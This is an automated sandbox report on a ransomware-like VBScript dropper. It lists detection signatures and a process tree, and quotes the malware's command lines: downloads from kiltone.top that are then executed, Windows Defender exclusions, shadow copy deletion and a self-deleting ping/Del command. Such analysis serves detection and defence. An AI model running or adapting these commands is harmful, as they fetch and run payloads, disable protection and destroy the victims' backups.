Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
NOTIFICATION_OF_DEPENDANTS_1.vbs

Overview

General Information

Sample name:NOTIFICATION_OF_DEPENDANTS_1.vbs
Analysis ID:1579449
MD5:9a10ccf62e25194ba112cd1058b43a52
SHA1:56bcf9ea53ac136b025a337e0b74bd36ccd67db8
SHA256:2d67d4e708c92155a2a9b90d728057e024b57a031ea7d21d34da65a5f4de3028
Tags:vbsuser-TeamDreier
Infos:

Detection

Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for dropped file
Sigma detected: Delete shadow copy via WMIC
VBScript performs obfuscated calls to suspicious functions
AI detected suspicious sample
Adds a directory exclusion to Windows Defender
Deletes shadow drive data (may be related to ransomware)
Loading BitLocker PowerShell Module
May encrypt documents and pictures (Ransomware)
Modifies existing user documents (likely ransomware behavior)
Overwrites Mozilla Firefox settings
Powershell drops PE file
Sigma detected: Control Panel Items
Sigma detected: Invoke-Obfuscation CLIP+ Launcher
Sigma detected: Invoke-Obfuscation STDIN+ Launcher
Sigma detected: Invoke-Obfuscation VAR+ Launcher
Sigma detected: New RUN Key Pointing to Suspicious Folder
Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet
Sigma detected: Shadow Copies Deletion Using Operating Systems Utilities
Sigma detected: Suspicious Ping/Del Command Combination
Sigma detected: Suspicious Script Execution From Temp Folder
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Tries to harvest and steal browser information (history, passwords, etc)
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes data at the end of the disk (often used by bootkits to hide malicious code)
Wscript starts Powershell (via cmd or directly)
Abnormal high CPU Usage
Contains capabilities to detect virtual machines
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Creates files inside the system directory
Dropped file seen in connection with other malware
Drops PE files
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Queries disk information (often used to detect virtual machines)
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Potential Command Line Path Traversal Evasion Attempt
Sigma detected: PowerShell Web Download
Sigma detected: Powershell Defender Exclusion
Sigma detected: Startup Folder File Write
Sigma detected: Usage Of Web Request Commands And Cmdlets
Sigma detected: Use Short Name Path in Command Line
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores files to the Windows start menu directory
Stores large binary data to the registry

Classification

  • System is w10x64
  • wscript.exe (PID: 1456 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • powershell.exe (PID: 1528 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp' MD5: 04029E121A0CFA5991749937DD22A1D9)
      • conhost.exe (PID: 1412 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 2120 cmdline: "C:\Windows\System32\cmd.exe" /c powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6040 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 5888 cmdline: powershell start-process https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 04029E121A0CFA5991749937DD22A1D9)
        • chrome.exe (PID: 5260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdf MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)
          • chrome.exe (PID: 7264 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2000,i,4385509434330054281,2454780159223617298,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)
    • cmd.exe (PID: 6380 cmdline: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6932 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • powershell.exe (PID: 1196 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl MD5: 04029E121A0CFA5991749937DD22A1D9)
    • cmd.exe (PID: 2008 cmdline: "C:\Windows\System32\cmd.exe" /c control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
      • conhost.exe (PID: 6988 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • control.exe (PID: 7960 cmdline: control C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: 11C18DBF352D81C9532A8EF442151CB1)
        • rundll32.exe (PID: 6256 cmdline: "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: EF3179D498793BF4234F708D3BE28633)
          • rundll32.exe (PID: 576 cmdline: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl MD5: 889B99C52A60DD49227C5E485A016679)
            • cmd.exe (PID: 4312 cmdline: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 8172 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • powershell.exe (PID: 7936 cmdline: powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
            • cmd.exe (PID: 3952 cmdline: cmd /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 3132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • powershell.exe (PID: 4332 cmdline: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/Gosjeufon.cpl -Outfile $env:tmp\eryy65ty.exe MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
            • cmd.exe (PID: 1272 cmdline: cmd /c %temp%/eryy65ty.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
              • conhost.exe (PID: 1624 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
              • eryy65ty.exe (PID: 520 cmdline: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe MD5: 2B986178DA0C3D081F99AC8FB4A5952C)
                • WMIC.exe (PID: 4008 cmdline: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
                  • conhost.exe (PID: 5192 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • WMIC.exe (PID: 8716 cmdline: c:\xMvAnp\xMvA\..\..\Windows\xMvA\xMvA\..\..\system32\xMvA\xMvA\..\..\wbem\xMvA\xMvAn\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
                  • conhost.exe (PID: 8732 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                • cmd.exe (PID: 8724 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
                  • conhost.exe (PID: 8740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
                  • PING.EXE (PID: 8800 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)
  • svchost.exe (PID: 7196 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)
  • eryy65ty.exe (PID: 4848 cmdline: "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: 2B986178DA0C3D081F99AC8FB4A5952C)
    • WMIC.exe (PID: 4084 cmdline: c:\qYxiJv\qYxi\..\..\Windows\qYxi\qYxi\..\..\system32\qYxi\qYxi\..\..\wbem\qYxi\qYxiJ\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 6900 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • WMIC.exe (PID: 9116 cmdline: c:\mCMXKV\mCMX\..\..\Windows\mCMX\mCMX\..\..\system32\mCMX\mCMX\..\..\wbem\mCMX\mCMXK\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 9132 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 9124 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 9140 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • PING.EXE (PID: 9200 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)
  • eryy65ty.exe (PID: 5292 cmdline: "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: 2B986178DA0C3D081F99AC8FB4A5952C)
    • WMIC.exe (PID: 8556 cmdline: c:\DgeFGH\DgeF\..\..\Windows\DgeF\DgeF\..\..\system32\DgeF\DgeF\..\..\wbem\DgeF\DgeFG\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 8564 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • WMIC.exe (PID: 5424 cmdline: c:\mZDBzN\mZDB\..\..\Windows\mZDB\mZDB\..\..\system32\mZDB\mZDB\..\..\wbem\mZDB\mZDBz\..\..\wmic.exe shadowcopy delete MD5: C37F2F4F4B3CD128BDABCAEB2266A785)
      • conhost.exe (PID: 5336 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
    • cmd.exe (PID: 4664 cmdline: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 5592 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • PING.EXE (PID: 4188 cmdline: ping 1.1.1.1 -n 1 -w 3000 MD5: B3624DD758CCECF93A1226CEF252CA12)
  • notepad.exe (PID: 8876 cmdline: "C:\Windows\system32\NOTEPAD.EXE" C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt MD5: 27F71B12CB585541885A31BE22F61C83)
  • cleanup
No configs have been found
No yara matches

Operating System Destruction

barindex
Source: Process startedAuthor: Joe Security: Data: Command: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, ProcessId: 4008, ProcessName: WMIC.exe

System Summary

barindex
Source: Process startedAuthor: Kyaw Min Thein, Furkan Caliskan (@caliskanfurkan_): Data: Command: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6380, ParentProcessName: cmd.exe, ProcessCommandLine: powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 1196, ProcessName: powershell.exe
Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 6380, ProcessName: cmd.exe
Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp", CommandLine: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp", CommandLine|base64offset|contains: rg, Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 C:\Users\user~1\AppData\Local\Temp/fjeljies.cpl, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 576, ParentProcessName: rundll32.exe, ProcessCommandLine: cmd /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "$env:tmp", ProcessId: 4312, ProcessName: cmd.exe
Source: Process startedAuthor: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 6380, ProcessName: cmd.exe
Source: Registry Key setAuthor: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe..d.<s.sd...v._._Y...0.$.. "#..h..".s..8..sc..S.D."..#.s..s.. ...S.}..s.s.s$s(s...`,s.....8s...Ds...hsJ.....sr....s5..........<.<.Dxs.s.....s).D...s^uD..D.s svQ.(s.u...w<.D, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 520, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems), Michael Haag, Teymur Kheirkhabarov, Daniil Yugoslavskiy, oscd.community, Andreas Hunkeler (@Karneades): Data: Command: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, ProcessId: 4008, ProcessName: WMIC.exe
Source: Process startedAuthor: Ilya Krestinichev: Data: Command: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe", CommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe", ProcessId: 8724, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe
Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ProcessId: 1456, ProcessName: wscript.exe
Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe..d.<s.sd...v._._Y...0.$.. "#..h..".s..8..sc..S.D."..#.s..s.. ...S.}..s.s.s$s(s...`,s.....8s...Ds...hsJ.....sr....s5..........<.<.Dxs.s.....s).D...s^uD..D.s svQ.(s.u...w<.D, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 520, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\XPSUDTARW
Source: Process startedAuthor: Christian Burkard (Nextron Systems): Data: Command: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, CommandLine|base64offset|contains: (, Image: C:\Windows\System32\wbem\WMIC.exe, NewProcessName: C:\Windows\System32\wbem\WMIC.exe, OriginalFileName: C:\Windows\System32\wbem\WMIC.exe, ParentCommandLine: C:\Users\user~1\AppData\Local\Temp/eryy65ty.exe, ParentImage: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ParentProcessId: 520, ParentProcessName: eryy65ty.exe, ProcessCommandLine: c:\jExFKd\jExF\..\..\Windows\jExF\jExF\..\..\system32\jExF\jExF\..\..\wbem\jExF\jExFK\..\..\wmic.exe shadowcopy delete, ProcessId: 4008, ProcessName: WMIC.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 6380, ProcessName: cmd.exe
Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Add-MpPreference -ExclusionPath 'C:\Users\user~1\AppData\Local\Temp', ProcessId: 1528, ProcessName: powershell.exe
Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\AppData\Local\Temp\eryy65ty.exe, ProcessId: 520, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\NOTIFICATION_OF_DEPENDANTS_1.vbs", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 1456, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell Invoke-WebRequest -Uri https://kiltone.top/stelin/rwcla.cpl -Outfile $env:tmp\\fjeljies.cpl, ProcessId: 6380, ProcessName: cmd.exe
